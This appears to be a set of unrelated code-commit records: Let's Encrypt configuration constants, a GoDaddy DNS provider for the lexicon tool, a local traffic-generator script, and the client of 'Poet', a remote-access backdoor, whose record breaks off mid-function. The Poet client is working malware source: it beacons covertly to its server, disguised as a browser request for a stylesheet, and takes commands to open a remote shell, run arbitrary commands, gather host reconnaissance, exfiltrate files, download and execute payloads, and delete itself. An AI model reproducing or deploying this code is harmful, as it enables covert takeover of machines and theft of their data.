TEMP_CHECKPOINT_DIR = WORK_DIR + "temp_checkpoint/"
# Directory used before a permanent checkpoint is finalized
IN_PROGRESS_DIR = BACKUP_DIR + "IN_PROGRESS/"
# Directory where all certificates/keys are stored - used for easy revocation
CERT_KEY_BACKUP = WORK_DIR + "keys-certs/"
# Where all keys should be stored
KEY_DIR = SERVER_ROOT + "ssl/"
# Certificate storage
CERT_DIR = SERVER_ROOT + "certs/"

# Used by openssl to sign challenge certificate with letsencrypt extension
# No longer used
#CHOC_CERT_CONF = CONFIG_DIR + "choc_cert_extensions.cnf"
# Contains standard Apache SSL directives
OPTIONS_SSL_CONF = CONFIG_DIR + "options-ssl.conf"
# Let's Encrypt SSL vhost configuration extension
LE_VHOST_EXT = "-le-ssl.conf"
# Temporary file for challenge virtual hosts
APACHE_CHALLENGE_CONF = CONFIG_DIR + "le_dvsni_cert_challenge.conf"

# Byte size of S and Nonce
S_SIZE = 32
NONCE_SIZE = 16

# Key Sizes
RSA_KEY_SIZE = 2048

# bits of hashcash to generate
difficulty = 23

# Let's Encrypt cert and chain files
CERT_PATH = CERT_DIR + "cert-letsencrypt.pem"
CHAIN_PATH = CERT_DIR + "chain-letsencrypt.pem"

#Invalid Extension
INVALID_EXT = ".acme.invalid"

# Challenge Preferences Dict for currently supported challenges
CHALLENGE_PREFERENCES = ["dvsni", "recoveryToken"]

# Mutually Exclusive Challenges - only solve 1
EXCLUSIVE_CHALLENGES = [set(["dvsni", "simpleHttps"])]

# Rewrite rule arguments used for redirections to https vhost
REWRITE_HTTPS_ARGS = ["^.*$", "https://%{SERVER_NAME}%{REQUEST_URI}", "[L,R=permanent]"]
<|endoftext|>


<commit_before>"""Module provider for Godaddy"""
import hashlib
import json
import logging

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry  # type: ignore

from lexicon.providers.base import Provider as BaseProvider

LOGGER = logging.getLogger(__name__)

NAMESERVER_DOMAINS = ["godaddy.com", "domaincontrol.com"]

def provider_parser(subparser):
    """Generate a subparser for Godaddy"""
    subparser.add_argument("--auth-key", help="specify the key to access the API")
    subparser.add_argument("--auth-secret", help="specify the secret to access the API")

class Provider(BaseProvider):
    """
    Implements the DNS GoDaddy provider.
    Some general remarks about this provider, because it uses a weirdly designed API.
    Indeed, there is no direct way to insert, update or delete a specific record.
    Furthermore, there is no unique identifier for a record.
    Instead GoDaddy use a replace approach: for a given set of records one
    can replace this set with a new set sent through API.
    For the sake of simplicity and consistency across the provider edit methods,
    the set will be always all records in the DNS zone.
    With this approach:
        - adding a record consists in appending a record to the obtained set and call
          replace with the updated set,
        - updating a record consists in modifying a record in the obtained set and call
          replace with the updated set,
        - deleting a record consists in removing a record in the obtained set and call
          replace with the updated set.
    In parallel, as said before, there is no unique identifier.
    This provider then implement a pseudo-identifier, to allow an easy update or delete
    using the '--identifier' lexicon parameter.
    But you need to call the 'list' command just before executing and update/delete action,
    because identifier value is tied to the content of the record, and will change anytime
    something is changed in the record.
    """

    def __init__(self, config):
        super(Provider, self).__init__(config)
        self.domain_id = None
        self.api_endpoint = "https://api.godaddy.com/v1"

    def _authenticate(self):
        domain = self.domain

        result = self._get(f"/domains/{domain}")
        self.domain_id = result["domainId"]

    def _list_records(self, rtype=None, name=None, content=None):
        domain = self.domain

        url = f"/domains/{domain}/records"
        if rtype:
            url += f"/{rtype}"
        if name:
            url += f"/{self._relative_name(name)}"

        raws = self._get(url)

        records = []
        for raw in raws:
            records.append(
                {
                    "id": Provider._identifier(raw),
                    "type": raw["type"],
                    "name": self._full_name(raw["name"]),
                    "ttl": raw["ttl"],
                    "content": raw["data"],
                }
            )

        if content:
            records = [record for record in records if record["data"] == content]

        LOGGER.debug("list_records: %s", records)

        return records

    def _create_record(self, rtype, name, content):
        domain = self.domain
        relative_name = self._relative_name(name)
        ttl = self._get_lexicon_option("ttl")

        # Retrieve existing data in DNS zone.
        records = self._get(f"/domains/{domain}/records/{rtype}/{relative_name}")

        # Check if a record already matches given parameters
        for record in records:
            if record["data"] == content:
                LOGGER.debug(
                    "create_record (ignored, duplicate): %s %s %s", rtype, name, content
                )
                return True

        # Append a new entry corresponding to given parameters.
        data = {"type": rtype, "name": relative_name, "data": content}
        if ttl:
            data["ttl"] = int(ttl)

        records.append(data)

        # Insert the record
        self._put(f"/domains/{domain}/records/{rtype}/{relative_name}", records)

        LOGGER.debug("create_record: %s %s %s", rtype, name, content)

        return True

    def _update_record(self, identifier, rtype=None, name=None, content=None):
        # No identifier is used with GoDaddy.
        # We can rely either:
        #   - only on rtype/name to get the relevant records, both of them are required
        #     or we will could update to much records ...,
        #   - or by the pseudo-identifier provided
        # Furthermore for rtype/name approach, we cannot update all matching records, as it
        # would lead o an error (two entries of same rtype + name cannot have the same content).
        # So for rtype/name approach, we search first matching record for rtype/name on which
        # content is different, and we update it before synchronizing the DNS zone.
        if not identifier and not rtype:
            raise Exception("ERROR: rtype is required")
        if not identifier and not name:
            raise Exception("ERROR: name is required")

        domain = self.domain
        relative_name = None
        if name:
            relative_name = self._relative_name(name)

        updated_record = None
        # Retrieve existing data in DNS zone.
        records = self._get(f"/domains/{domain}/records")

        # Get the record to update:
        #   - either explicitly by its identifier,
        #   - or the first matching by its rtype+name where content does not match
        #     (first match, see first method comment for explanation).
        for record in records:
            if (identifier and Provider._identifier(record) == identifier) or (
                not identifier
                and record["type"] == rtype
                and self._relative_name(record["name"]) == relative_name
                and record["data"] != content
            ):
                record["data"] = content
                updated_record = record
                break

        # Synchronize data with updated records into DNS zone.
        if updated_record is not None:
            if (
                identifier
                and self._relative_name(updated_record["name"]) != relative_name
            ):
                self._put(f"/domains/{domain}/records/{rtype}", records)
            else:
                self._put(
                    f"/domains/{domain}/records/{rtype}/{relative_name}", updated_record
                )

        LOGGER.debug("update_record: %s %s %s", rtype, name, content)

        return True

    def _delete_record(self, identifier=None, rtype=None, name=None, content=None):
        # For the LOL. GoDaddy does not accept an empty array
        # when updating a particular set of records.
        # It means that you cannot request to remove all records
        # matching a particular rtype and/or name.
        # Instead, we get ALL records in the DNS zone, update the set,
        # and replace EVERYTHING in the DNS zone.
        # You will always have at minimal NS/SRV entries in the array,
        # otherwise your DNS zone is broken, and updating the zone is the least of your problem ...
        domain = self.domain

        # Retrieve all records in the DNS zone
        records = self._get(f"/domains/{domain}/records")

        relative_name = None
        if name:
            relative_name = self._relative_name(name)

        # Filter out all records which matches the pattern (either identifier
        # or some combination of rtype/name/content).
        filtered_records = []
        if identifier:
            filtered_records = [
                record
                for record in records
                if Provider._identifier(record) != identifier
            ]
        else:
            for record in records:
                if (
                    (not rtype and not relative_name and not content)
                    or (
                        rtype
                        and not relative_name
                        and not content
                        and record["type"] != rtype
                    )
                    or (
                        not rtype
                        and relative_name
                        and not content
                        and self._relative_name(record["name"]) != relative_name
                    )
                    or (
                        not rtype
                        and not relative_name
                        and content
                        and record["data"] != content
                    )
                    or (
                        rtype
                        and relative_name
                        and not content
                        and (
                            record["type"] != rtype
                            or self._relative_name(record["name"]) != relative_name
                        )
                    )
                    or (
                        rtype
                        and not relative_name
                        and content
                        and (record["type"] != rtype or record["data"] != content)
                    )
                    or (
                        not rtype
                        and relative_name
                        and content
                        and (
                            self._relative_name(record["name"]) != relative_name
                            or record["data"] != content
                        )
                    )
                    or (
                        rtype
                        and relative_name
                        and content
                        and (
                            record["type"] != rtype
                            or self._relative_name(record["name"]) != relative_name
                            or record["data"] != content
                        )
                    )
                ):
                    filtered_records.append(record)

        # Synchronize data with expurged entries into DNS zone.
        self._put(f"/domains/{domain}/records", filtered_records)

        LOGGER.debug("delete_records: %s %s %s", rtype, name, content)

        return True

    # GoDaddy provides no identifier for a record, which is a problem
    # where identifiers can be used (delete and update).
    # To circumvent this, we implement a pseudo-identifier,which is basically
    # a hash of type+name+content of a given record.
    # It is far from perfect, as the identifier will change each time
    # we change something in the record ...
    # But at least, one can use 'lexicon godaddy list ...' then
    # 'lexicon godaddy update --identifier ...' to modify specific record.
    # However, 'lexicon godaddy list ...' should be called each time DNS
    # zone had been changed to calculate new identifiers.
    @staticmethod
    def _identifier(record):
        sha256 = hashlib.sha256()
        sha256.update(("type=" + record.get("type", "") + ",").encode("utf-8"))
        sha256.update(("name=" + record.get("name", "") + ",").encode("utf-8"))
        sha256.update(("data=" + record.get("data", "") + ",").encode("utf-8"))
        return sha256.hexdigest()[0:7]

    def _request(self, action="GET", url="/", data=None, query_params=None):
        if not data:
            data = {}
        if not query_params:
            query_params = {}

        # When editing DNS zone, API is unavailable for few seconds
        # (until modifications are propagated).
        # In this case, call to API will return 409 HTTP error.
        # We use the Retry extension to retry the requests until
        # we get a processable response (402 HTTP status, or an HTTP error != 409)
        try:
            retries = Retry(
                total=10,
                backoff_factor=0.5,
                status_forcelist=[409],
                allowed_methods=frozenset(["GET", "PUT", "POST", "DELETE", "PATCH"]),
            )
        except TypeError:
            # Support for urllib3<1.26
            retries = Retry(
                total=10,
                backoff_factor=0.5,
                status_forcelist=[409],
                method_whitelist=frozenset(["GET", "PUT", "POST", "DELETE", "PATCH"]),
            )

        session = requests.Session()
        session.mount("https://", HTTPAdapter(max_retries=retries))

        result = session.request(
            action,
            self.api_endpoint + url,
            params=query_params,
            data=json.dumps(data),
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json",
                # GoDaddy use a key/secret pair to authenticate
                "Authorization": f"sso-key {self._get_provider_option('auth_key')}:{self._get_provider_option('auth_secret')}",
            },
        )

        result.raise_for_status()

        try:
            # Return the JSON body response if exists.
            return result.json()
        except ValueError:
            # For some requests command (eg. PUT), GoDaddy will not
            # return any JSON, just an HTTP status without body.
            return None
<commit_msg>Short fix for godaddy<commit_after>"""Module provider for Godaddy"""
import hashlib
import json
import logging

import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry  # type: ignore

from lexicon.providers.base import Provider as BaseProvider

LOGGER = logging.getLogger(__name__)

NAMESERVER_DOMAINS = ["godaddy.com", "domaincontrol.com"]

def provider_parser(subparser):
    """Generate a subparser for Godaddy"""
    subparser.add_argument("--auth-key", help="specify the key to access the API")
    subparser.add_argument("--auth-secret", help="specify the secret to access the API")

class Provider(BaseProvider):
    """
    Implements the DNS GoDaddy provider.
    Some general remarks about this provider, because it uses a weirdly designed API.
    Indeed, there is no direct way to insert, update or delete a specific record.
    Furthermore, there is no unique identifier for a record.
    Instead GoDaddy use a replace approach: for a given set of records one
    can replace this set with a new set sent through API.
    For the sake of simplicity and consistency across the provider edit methods,
    the set will be always all records in the DNS zone.
    With this approach:
        - adding a record consists in appending a record to the obtained set and call
          replace with the updated set,
        - updating a record consists in modifying a record in the obtained set and call
          replace with the updated set,
        - deleting a record consists in removing a record in the obtained set and call
          replace with the updated set.
    In parallel, as said before, there is no unique identifier.
    This provider then implement a pseudo-identifier, to allow an easy update or delete
    using the '--identifier' lexicon parameter.
    But you need to call the 'list' command just before executing and update/delete action,
    because identifier value is tied to the content of the record, and will change anytime
    something is changed in the record.
    """

    def __init__(self, config):
        super(Provider, self).__init__(config)
        self.domain_id = None
        self.api_endpoint = "https://api.godaddy.com/v1"

    def _authenticate(self):
        domain = self.domain

        result = self._get(f"/domains/{domain}")
        self.domain_id = result["domainId"]

    def _list_records(self, rtype=None, name=None, content=None):
        domain = self.domain

        url = f"/domains/{domain}/records"
        if rtype:
            url += f"/{rtype}"
        if name:
            url += f"/{self._relative_name(name)}"

        raws = self._get(url)

        records = []
        for raw in raws:
            records.append(
                {
                    "id": Provider._identifier(raw),
                    "type": raw["type"],
                    "name": self._full_name(raw["name"]),
                    "ttl": raw["ttl"],
                    "content": raw["data"],
                }
            )

        if content:
            records = [record for record in records if record["data"] == content]

        LOGGER.debug("list_records: %s", records)

        return records

    def _create_record(self, rtype, name, content):
        domain = self.domain
        relative_name = self._relative_name(name)
        ttl = self._get_lexicon_option("ttl")

        # Retrieve existing data in DNS zone.
        records = self._get(f"/domains/{domain}/records/{rtype}/{relative_name}")

        # Check if a record already matches given parameters
        for record in records:
            if record["data"] == content:
                LOGGER.debug(
                    "create_record (ignored, duplicate): %s %s %s", rtype, name, content
                )
                return True

        # Append a new entry corresponding to given parameters.
        data = {"type": rtype, "name": relative_name, "data": content}
        if ttl:
            data["ttl"] = int(ttl)

        records.append(data)

        # Insert the record
        self._put(f"/domains/{domain}/records/{rtype}/{relative_name}", records)

        LOGGER.debug("create_record: %s %s %s", rtype, name, content)

        return True

    def _update_record(self, identifier, rtype=None, name=None, content=None):
        # No identifier is used with GoDaddy.
        # We can rely either:
        #   - only on rtype/name to get the relevant records, both of them are required
        #     or we will could update to much records ...,
        #   - or by the pseudo-identifier provided
        # Furthermore for rtype/name approach, we cannot update all matching records, as it
        # would lead o an error (two entries of same rtype + name cannot have the same content).
        # So for rtype/name approach, we search first matching record for rtype/name on which
        # content is different, and we update it before synchronizing the DNS zone.
        if not identifier and not rtype:
            raise Exception("ERROR: rtype is required")
        if not identifier and not name:
            raise Exception("ERROR: name is required")

        domain = self.domain
        relative_name = None
        if name:
            relative_name = self._relative_name(name)

        updated_record = None
        # Retrieve existing data in DNS zone.
        records = self._get(f"/domains/{domain}/records")

        # Get the record to update:
        #   - either explicitly by its identifier,
        #   - or the first matching by its rtype+name where content does not match
        #     (first match, see first method comment for explanation).
        for record in records:
            if (identifier and Provider._identifier(record) == identifier) or (
                not identifier
                and record["type"] == rtype
                and self._relative_name(record["name"]) == relative_name
                and record["data"] != content
            ):
                record["data"] = content
                updated_record = record
                break

        if not relative_name:
            relative_name = self._relative_name(updated_record["name"])

        # Synchronize data with updated records into DNS zone.
        if updated_record is not None:
            if (
                identifier
                and self._relative_name(updated_record["name"]) != relative_name
            ):
                self._put(f"/domains/{domain}/records/{rtype}", records)
            else:
                self._put(
                    f"/domains/{domain}/records/{rtype}/{relative_name}", updated_record
                )

        LOGGER.debug("update_record: %s %s %s", rtype, name, content)

        return True

    def _delete_record(self, identifier=None, rtype=None, name=None, content=None):
        # For the LOL. GoDaddy does not accept an empty array
        # when updating a particular set of records.
        # It means that you cannot request to remove all records
        # matching a particular rtype and/or name.
        # Instead, we get ALL records in the DNS zone, update the set,
        # and replace EVERYTHING in the DNS zone.
        # You will always have at minimal NS/SRV entries in the array,
        # otherwise your DNS zone is broken, and updating the zone is the least of your problem ...
        domain = self.domain

        # Retrieve all records in the DNS zone
        records = self._get(f"/domains/{domain}/records")

        relative_name = None
        if name:
            relative_name = self._relative_name(name)

        # Filter out all records which matches the pattern (either identifier
        # or some combination of rtype/name/content).
        filtered_records = []
        if identifier:
            filtered_records = [
                record
                for record in records
                if Provider._identifier(record) != identifier
            ]
        else:
            for record in records:
                if (
                    (not rtype and not relative_name and not content)
                    or (
                        rtype
                        and not relative_name
                        and not content
                        and record["type"] != rtype
                    )
                    or (
                        not rtype
                        and relative_name
                        and not content
                        and self._relative_name(record["name"]) != relative_name
                    )
                    or (
                        not rtype
                        and not relative_name
                        and content
                        and record["data"] != content
                    )
                    or (
                        rtype
                        and relative_name
                        and not content
                        and (
                            record["type"] != rtype
                            or self._relative_name(record["name"]) != relative_name
                        )
                    )
                    or (
                        rtype
                        and not relative_name
                        and content
                        and (record["type"] != rtype or record["data"] != content)
                    )
                    or (
                        not rtype
                        and relative_name
                        and content
                        and (
                            self._relative_name(record["name"]) != relative_name
                            or record["data"] != content
                        )
                    )
                    or (
                        rtype
                        and relative_name
                        and content
                        and (
                            record["type"] != rtype
                            or self._relative_name(record["name"]) != relative_name
                            or record["data"] != content
                        )
                    )
                ):
                    filtered_records.append(record)

        # Synchronize data with expurged entries into DNS zone.
        self._put(f"/domains/{domain}/records", filtered_records)

        LOGGER.debug("delete_records: %s %s %s", rtype, name, content)

        return True

    # GoDaddy provides no identifier for a record, which is a problem
    # where identifiers can be used (delete and update).
    # To circumvent this, we implement a pseudo-identifier,which is basically
    # a hash of type+name+content of a given record.
    # It is far from perfect, as the identifier will change each time
    # we change something in the record ...
    # But at least, one can use 'lexicon godaddy list ...' then
    # 'lexicon godaddy update --identifier ...' to modify specific record.
    # However, 'lexicon godaddy list ...' should be called each time DNS
    # zone had been changed to calculate new identifiers.
    @staticmethod
    def _identifier(record):
        sha256 = hashlib.sha256()
        sha256.update(("type=" + record.get("type", "") + ",").encode("utf-8"))
        sha256.update(("name=" + record.get("name", "") + ",").encode("utf-8"))
        sha256.update(("data=" + record.get("data", "") + ",").encode("utf-8"))
        return sha256.hexdigest()[0:7]

    def _request(self, action="GET", url="/", data=None, query_params=None):
        if not data:
            data = {}
        if not query_params:
            query_params = {}

        # When editing DNS zone, API is unavailable for few seconds
        # (until modifications are propagated).
        # In this case, call to API will return 409 HTTP error.
        # We use the Retry extension to retry the requests until
        # we get a processable response (402 HTTP status, or an HTTP error != 409)
        try:
            retries = Retry(
                total=10,
                backoff_factor=0.5,
                status_forcelist=[409],
                allowed_methods=frozenset(["GET", "PUT", "POST", "DELETE", "PATCH"]),
            )
        except TypeError:
            # Support for urllib3<1.26
            retries = Retry(
                total=10,
                backoff_factor=0.5,
                status_forcelist=[409],
                method_whitelist=frozenset(["GET", "PUT", "POST", "DELETE", "PATCH"]),
            )

        session = requests.Session()
        session.mount("https://", HTTPAdapter(max_retries=retries))

        result = session.request(
            action,
            self.api_endpoint + url,
            params=query_params,
            data=json.dumps(data),
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json",
                # GoDaddy use a key/secret pair to authenticate
                "Authorization": f"sso-key {self._get_provider_option('auth_key')}:{self._get_provider_option('auth_secret')}",
            },
        )

        result.raise_for_status()

        try:
            # Return the JSON body response if exists.
            return result.json()
        except ValueError:
            # For some requests command (eg. PUT), GoDaddy will not
            # return any JSON, just an HTTP status without body.
            return None
<|endoftext|>


<commit_before>import requests
import random
import time
import logging

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

handler = logging.FileHandler('/var/log/demo.log')
handler.setLevel(logging.INFO)

formatter = logging.Formatter("%(levelname)s;%(asctime)s;%(message)s", "%s")
handler.setFormatter(formatter)

logger.addHandler(handler)

while True:
    dosleep=random.randint(0,500)
    spin=random.randint(0,2)
    #print "spin is: ", str(spin)

    if dosleep == 150:
        time.sleep(1)

    if spin == 0:
        requests.get('http://127.0.0.1/index.html')
        logger.info('Got /')
    elif spin == 1:
        requests.get('http://127.0.0.1/about.html')
        logger.info('Got /about')
    else:
        requests.get('http://127.0.0.1/other.html')
        logger.info('Got /other')

<commit_msg>faster<commit_after>import requests
import random
import time
import logging

logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)

handler = logging.FileHandler('/var/log/demo.log')
handler.setLevel(logging.INFO)

formatter = logging.Formatter("%(levelname)s;%(asctime)s;%(message)s", "%s")
handler.setFormatter(formatter)

logger.addHandler(handler)

while True:
    dosleep=random.randint(0,750)
    spin=random.randint(0,2)
    #print "spin is: ", str(spin)

    if dosleep == 350:
        time.sleep(1)

    if spin == 0:
        requests.get('http://127.0.0.1/index.html')
        logger.info('Got /')
    elif spin == 1:
        requests.get('http://127.0.0.1/about.html')
        logger.info('Got /about')
    else:
        requests.get('http://127.0.0.1/other.html')
        logger.info('Got /other')

<|endoftext|>


<commit_before>#!/usr/bin/python2.7

import os
import re
import sys
import stat
import time
import zlib
import select
import socket
import os.path
import urllib2
import argparse
import tempfile
import logging as log
import subprocess as sp
from datetime import datetime

from poetsocket import *

UA = 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'

class PoetSocketClient(PoetSocket):
    def __init__(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        super(PoetSocketClient, self).__init__(self.s)

class PoetClient(object):
    """Core client functionality.

    Receives commands from server, does bidding, responds.

    Note: In any function with `inp' as a parameter, `inp' refers to the
    command string sent from the server.

    Attributes:
        host: server ip address
        port: server port
    """

    def __init__(self, host, port):
        self.host = host
        self.port = port

    def start(self):
        """Core Poet client functionality."""

        s = PoetSocketClient(self.host, self.port)
        while True:
            try:
                inp = s.recv()
                if inp == 'fin':
                    break
                elif inp == 'getprompt':
                    s.send(self.get_prompt())
                elif re.search('^exec ("[^"]+"\ )+$', inp + ' '):
                    s.send(self.execute(inp))
                elif inp == 'recon':
                    s.send(zlib.compress(self.recon()))
                elif inp.startswith('shell '):
                    self.shell(inp, s)
                    s.send('shelldone')
                elif inp.startswith('exfil '):
                    try:
                        with open(os.path.expanduser(inp[6:])) as f:
                            s.send(zlib.compress(f.read()))
                    except IOError as e:
                        s.send(e.strerror)
                elif inp == 'selfdestruct':
                    try:
                        # get filename based on if we're executing inside zip
                        # file or not
                        file = __file__.split('/')[0] if '.zip' in __file__ else __file__

                        # if the flag to delete client on launch wasn't given
                        if not args.delete:
                            os.remove(file)

                        # check to make sure it's actually deleted
                        # - the .strip('./') is for when we're executing as a
                        #   regular file (no effect on zip file)
                        # - the .split('/')[0] is for if we're in a zip file
                        #   (no effect on regular file
                        if file.strip('./').split('/')[0] not in os.listdir('.'):
                            s.send('boom')
                            sys.exit()
                        else:
                            raise Exception('client not deleted')
                    except Exception as e:
                        s.send(str(e.message))
                elif inp.startswith('dlexec '):
                    try:
                        self.dlexec(inp)
                        s.send('done')
                    except Exception as e:
                        s.send(str(e.message))
                elif inp.startswith('chint'):
                    self.chint(s, inp)
                else:
                    s.send('Unrecognized')
            except socket.error as e:
                if e.message == 'too much data!':
                    s.send('psh : ' + e.message)
                else:
                    raise
        s.close()

    def execute(self, inp):
        """Handle server `exec' command.

        Execute specially formatted input string and return specially formatted
        response.
        """

        out = ''
        cmds = self.parse_exec_cmds(inp[5:])
        for cmd in cmds:
            cmd_out = self.cmd_exec(cmd)
            out += '='*20 + '\n\n$ {}\n{}\n'.format(cmd, cmd_out)
        return out

    def recon(self):
        """Executes recon commands."""

        ipcmd = 'ip addr' if 'no' in self.cmd_exec('which ifconfig') else 'ifconfig'
        exec_str = 'exec "whoami" "id" "uname -a" "lsb_release -a" "{}" "w" "who -a"'.format(ipcmd)
        return self.execute(exec_str)

    def dlexec(self, inp):
        """Handle server `dlexec' command.

        Download file from internet, save to temp file, execute.
        """

        r = urllib2.urlopen(inp.split()[1])
        with tempfile.NamedTemporaryFile(delete=False) as f:
            f.write(r.read())
            os.fchmod(f.fileno(), stat.S_IRWXU)
        # intentionally not using sp.call() here because we don't
        # necessarily want to wait() on the process. also, this is outside
        # the with block to avoid a `Text file busy' error (linux)
        sp.Popen(f.name, stdout=open(os.devnull, 'w'), stderr=sp.STDOUT)

    def chint(self, s, inp):
        """Handle server `chint' command.

        Send back the current delay interval or set it to new value.
        """

        if inp == 'chint':
            # no arg, so just send back the interval
            s.send(str(args.interval))
        else:
            # set interval to arg
            try:
                num = int(inp[6:])
                if num < 1 or num > 60*60*24:
                    msg = 'Invalid interval time.'
                else:
                    args.interval = num
                    msg = 'done'
                s.send(msg)
            except Exception as e:
                s.send(str(e.message))

    def shell(self, inp, s):
        """Psh `shell' command client-side.

        Create a subprocess for command and line buffer command output to
        server while listening for signals from server.

        Args:
            s: PoetSocketClient instance
        """

        inp = inp[6:]  # get rid of 'shell ' prefix

        # handle cd builtin
        if re.search('^cd( .+)?$', inp):
            if inp == 'cd':
                os.chdir(os.path.expanduser('~'))
            else:
                try:
                    os.chdir(os.path.expanduser(inp[3:]))
                except OSError as e:
                    s.send('cd: {}\n'.format(e.strerror))
            return

        # everything else
        proc = sp.Popen(inp, stdout=sp.PIPE, stderr=sp.STDOUT, shell=True)
        while True:
            readable = select.select([proc.stdout, s.s], [], [], 30)[0]
            for fd in readable:
                if fd == proc.stdout:  # proc has stdout/err to send
                    output = proc.stdout.readline()
                    if output:
                        s.send(output)
                    else:
                        return
                elif fd == s.s:  # remote signal from server
                    sig = s.recv()
                    if sig == 'shellterm':
                        proc.terminate()
                        return

    def cmd_exec(self, cmd):
        """Light wrapper over subprocess.Popen()."""

        return sp.Popen(cmd, stdout=sp.PIPE, stderr=sp.STDOUT,
                        shell=True).communicate()[0]

    def get_prompt(self):
        """Create shell prompt.

        Using current user and hostname, create shell prompt for server `shell'
        command.
        """
        user = self.cmd_exec('whoami').strip()
        hn = self.cmd_exec('hostname').strip()
        end = '#' if user == 'root' else '$'
        return '{}@{} {} '.format(user, hn, end)

    def parse_exec_cmds(self, inp):
        """Parse string provided by server `exec' command.

        Convert space delimited string with commands to execute in quotes, for
        example ("ls -l" "cat /etc/passwd") into list with commands as strings.

        Returns:
            List of commands to execute.
        """

        if inp.count('"') == 2:
            return [inp[1:-1]]
        else:
            # server side regex guarantees that these quotes will be in the
            # correct place -- the space between two commands
            third_quote = inp.find('" "') + 2
            first_cmd = inp[:third_quote-1]
            rest = inp[third_quote:]
            return [first_cmd[1:-1]] + self.parse_exec_cmds(rest)

def get_args():
    """ Parse arguments and return dictionary. """

    parser = argparse.ArgumentParser()
    parser.add_argument('host', metavar='IP', type=str, help='server')
    parser.add_argument('interval', metavar='INTERVAL', type=int, help='(s)')
    parser.add_argument('-p', '--port')
    parser.add_argument('-v', '--verbose', action="store_true")
    parser.add_argument('-d', '--delete', action="store_true",
                        help="delete client upon execution")
    return parser.parse_args()

def is_active(host, port):
    """Check if server is active.

    Send HTTP GET for a fake /style.css which server will respond to if it's
    alive.

    Args:
        host: server ip address
        port: server port

    Returns:
        Boolean for server state.
    """

    try:
        url = 'http://{}:{}/style.css'.format(host, port)
        req = urllib2.Request(url, headers={'User-Agent': UA})
        f = urllib2.urlopen(req)
        if f.code == 200:
            return True
    except urllib2.URLError:
        pass
    return False

def main():
    global args
    args = get_args()

    if args.verbose:
        log.basicConfig(format='%(message)s', level=log.INFO)
    else:
        log.basicConfig(format='%(message)s')

    if args.delete:
        log.info('[+] Deleting client.')
        os.remove(__file__)

    HOST = args.host
    PORT = int(args.port) if args.port else 443

    log.info(('[+] Poet started with interval of {} seconds to port {}.' +
              ' Ctrl-c to exit.').format(args.interval, PORT))

    try:
        while True:
            if is_active(HOST, PORT):
                log.info('[+] ({}) Server is active'.format(datetime.now()))
                PoetClient(HOST, PORT).start()
            else:
                log.info('[!] ({}) Server is inactive'.format(datetime.now()))
            time.sleep(args.interval)
    except KeyboardInterrupt:
        print
        log.info('[-] ({}) Poet terminated.'.format(datetime.now()))
    except socket.error as e:
        log.info('[!] ({}) Socket error: {}'.format(datetime.now(), e.message))
        log.info('[-] ({}) Poet terminated.'.format(datetime.now()))
        sys.exit(0)

if __name__ == '__main__':
    main()
<commit_msg>Make client interval arg optional<commit_after>#!/usr/bin/python2.7

import os
import re
import sys
import stat
import time
import zlib
import select
import socket
import os.path
import urllib2
import argparse
import tempfile
import logging as log
import subprocess as sp
from datetime import datetime

from poetsocket import *

UA = 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11'

class PoetSocketClient(PoetSocket):
    def __init__(self, host, port):
        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.s.connect((host, port))
        super(PoetSocketClient, self).__init__(self.s)

class PoetClient(object):
    """Core client functionality.

    Receives commands from server, does bidding, responds.

    Note: In any function with `inp' as a parameter, `inp' refers to the
    command string sent from the server.

    Attributes:
        host: server ip address
        port: server port
    """

    def __init__(self, host, port):
        self.host = host
        self.port = port

    def start(self):
        """Core Poet client functionality."""

        s = PoetSocketClient(self.host, self.port)
        while True:
            try:
                inp = s.recv()
                if inp == 'fin':
                    break
                elif inp == 'getprompt':
                    s.send(self.get_prompt())
                elif re.search('^exec ("[^"]+"\ )+$', inp + ' '):
                    s.send(self.execute(inp))
                elif inp == 'recon':
                    s.send(zlib.compress(self.recon()))
                elif inp.startswith('shell '):
                    self.shell(inp, s)
                    s.send('shelldone')
                elif inp.startswith('exfil '):
                    try:
                        with open(os.path.expanduser(inp[6:])) as f:
                            s.send(zlib.compress(f.read()))
                    except IOError as e:
                        s.send(e.strerror)
                elif inp == 'selfdestruct':
                    try:
                        # get filename based on if we're executing inside zip
                        # file or not
                        file = __file__.split('/')[0] if '.zip' in __file__ else __file__

                        # if the flag to delete client on launch wasn't given
                        if not args.delete:
                            os.remove(file)

                        # check to make sure it's actually deleted
                        # - the .strip('./') is for when we're executing as a
                        #   regular file (no effect on zip file)
                        # - the .split('/')[0] is for if we're in a zip file
                        #   (no effect on regular file
                        if file.strip('./').split('/')[0] not in os.listdir('.'):
                            s.send('boom')
                            sys.exit()
                        else:
                            raise Exception('client not deleted')
                    except Exception as e:
                        s.send(str(e.message))
                elif inp.startswith('dlexec '):
                    try:
                        self.dlexec(inp)
                        s.send('done')
                    except Exception as e:
                        s.send(str(e.message))
                elif inp.startswith('chint'):
                    self.chint(s, inp)
                else:
                    s.send('Unrecognized')
            except socket.error as e:
                if e.message == 'too much data!':
                    s.send('psh : ' + e.message)
                else:
                    raise
        s.close()

    def execute(self, inp):
        """Handle server `exec' command.

        Execute specially formatted input string and return specially formatted
        response.
        """

        out = ''
        cmds = self.parse_exec_cmds(inp[5:])
        for cmd in cmds:
            cmd_out = self.cmd_exec(cmd)
            out += '='*20 + '\n\n$ {}\n{}\n'.format(cmd, cmd_out)
        return out

    def recon(self):
        """Executes recon commands."""

        ipcmd = 'ip addr' if 'no' in self.cmd_exec('which ifconfig') else 'ifconfig'
        exec_str = 'exec "whoami" "id" "uname -a" "lsb_release -a" "{}" "w" "who -a"'.format(ipcmd)
        return self.execute(exec_str)

    def dlexec(self, inp):
        """Handle server `dlexec' command.

        Download file from internet, save to temp file, execute.
        """

        r = urllib2.urlopen(inp.split()[1])
        with tempfile.NamedTemporaryFile(delete=False) as f:
            f.write(r.read())
            os.fchmod(f.fileno(), stat.S_IRWXU)
        # intentionally not using sp.call() here because we don't
        # necessarily want to wait() on the process. also, this is outside
        # the with block to avoid a `Text file busy' error (linux)
